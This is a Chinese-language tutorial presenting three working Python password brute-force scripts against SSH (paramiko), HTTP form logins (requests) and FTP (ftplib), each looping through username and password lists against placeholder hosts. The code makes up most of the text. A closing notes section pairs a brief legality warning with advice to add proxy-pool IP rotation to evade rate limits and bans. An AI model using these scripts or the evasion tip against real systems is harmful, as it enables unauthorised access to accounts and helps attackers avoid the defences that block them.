### 使用Python实现密码爆破的技术方法和示例代码 以下是基于Python实现的几种常见的密码爆破技术及其代码示例。 --- #### 方法一：SSH密码爆破（Paramiko库） 可以使用`paramiko`库来实现针对SSH服务的密码爆破。以下是一个简单的例子，展示了如何通过遍历用户名和密码列表尝试连接远程服务器。 ```python import paramiko def ssh_brute_force(host, port, username_list, password_list): for username in username_list: for password in password_list: try: client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(host, port=port, username=username, password=password, timeout=5) print(f"[+] Success! Username: {username}, Password: {password}") return True except Exception as e: print(f"[-] Failed with Username: {username}, Password: {password}. Error: {e}") finally: client.close() host = "example.com" port = 22 username_list = ["admin", "root"] password_list = ["password123", "123456"] ssh_brute_force(host, port, username_list, password_list) ``` 此代码片段实现了基本的SSH暴力建立连接逻辑[^1]。 --- #### 方法二：HTTP表单登录爆破 对于Web应用程序中的表单登录页面，可以使用`requests`库发送POST请求，并根据响应判断是否成功登录。 ```python import requests def http_form_bruteforce(url, username_list, password_list): headers = { 'User-Agent': 'Mozilla/5.0', 'Content-Type': 'application/x-www-form-urlencoded' } data_template = {'username': '', 'password': ''} for username in username_list: for password in password_list: data_template['username'] = username data_template['password'] = password response = requests.post(url, data=data_template, headers=headers) if "Login failed" not in response.text and response.status_code == 200: print(f"[+] Found credentials: Username={username} | Password={password}") return True else: print(f"[-] Attempt failed: Username={username} | Password={password}") url = "http://target-site/login.php" username_list = ["test_user", "admin"] password_list = ["secret", "pass123"] http_form_bruteforce(url, username_list, password_list) ``` 这个脚本会不断尝试不同的用户名和密码组合直至找到有效的凭证[^3]。 --- #### 方法三：FTP密码爆破 下面展示了一个基础版本的FTP密码爆破程序，它同样依赖于标准库模块`ftplib`完成任务。 ```python from ftplib import FTP def ftp_brute_force(target_ip, usernames, passwords): for user in usernames: for passwd in passwords: try: ftp_conn = FTP(target_ip) ftp_conn.login(user=user, passwd=passwd) print(f'[+] Login successful with User:{user}/Passwd:{passwd}') ftp_conn.quit() break except Exception as err: print(f'[-] Unable to login with User:{user}/Passwd:{passwd}: {err}') ftp_server = "ftp.example.com" users = ["anonymous", "guest"] pwds = ["email@example.com", "password"] ftp_brute_force(ftp_server, users, pwds) ``` 上述脚本演示了如何自动化地测试多个潜在的有效FTP认证凭据对。 --- ### 注意事项 - **合法性**：在任何情况下都不得未经授权对他人的计算机系统实施攻击行为。 - **效率优化**：实际部署前应考虑加入代理池切换IP地址等功能规避频率限制或封禁风险。 - **错误处理**：增强异常捕获能力以便应对网络波动等问题带来的影响。 ---